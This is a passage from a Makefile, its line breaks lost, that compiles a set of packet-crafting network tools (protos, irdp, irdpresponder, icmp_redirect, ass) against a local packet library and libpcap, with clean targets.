${CFLAGS} -c tctrace.c protos: protos.o libpackets.a ${CC} ${CFLAGS} -o protos protos.o -lpackets protos.o: protos.c packets.h protocols.h protocol-numbers.h ${CC} ${CFLAGS} -c protos.c irdp: irdp.o libpackets.a ${CC} ${CFLAGS} -o irdp irdp.o -lpackets irdp.o: irdp.c packets.h protocols.h ${CC} ${CFLAGS} -c irdp.c irdpresponder: irdpresponder.o libpackets.a ${CC} ${CFLAGS} -o irdpresponder irdpresponder.o -lpackets ${CLIBS} irdpresponder.o: irdpresponder.c packets.h protocols.h ${CC} ${CFLAGS} -c irdpresponder.c icmp_redirect.o: icmp_redirect.c packets.h protocols.h ${CC} ${CFLAGS} -c icmp_redirect.c icmp_redirect: icmp_redirect.o libpackets.a ${CC} ${CFLAGS} -o icmp_redirect icmp_redirect.o -lpackets ${CLIBS} ass_v1.o: ass_v1.c packets.h protocols.h ${CC} ${CFLAGS} -c ass_v1.c ass: ass_v1.o libpackets.a ${CC} ${CFLAGS} -o ass ass_v1.o -lpackets ${CLIBS} assS: ass_v1.o libpackets.a ${CC} ${CFLAGS} -o assS ass_v1.o -lpackets ${CLIBS} -static libpackets.a: packets.o enum.o $(AR) libpackets.a packets.o enum.o packets.o: packets.c protocols.h $(CC) ${CFLAGS} -c packets.c enum.o: enum.h enum.c $(CC) $(CFLAGS) -c enum.c clean: ${RM} -f ${OBJECTS} ( cd libpcap-0.4; make clean ) realclean: ${RM} -f ${OBJECTS} ${PROGRAMS}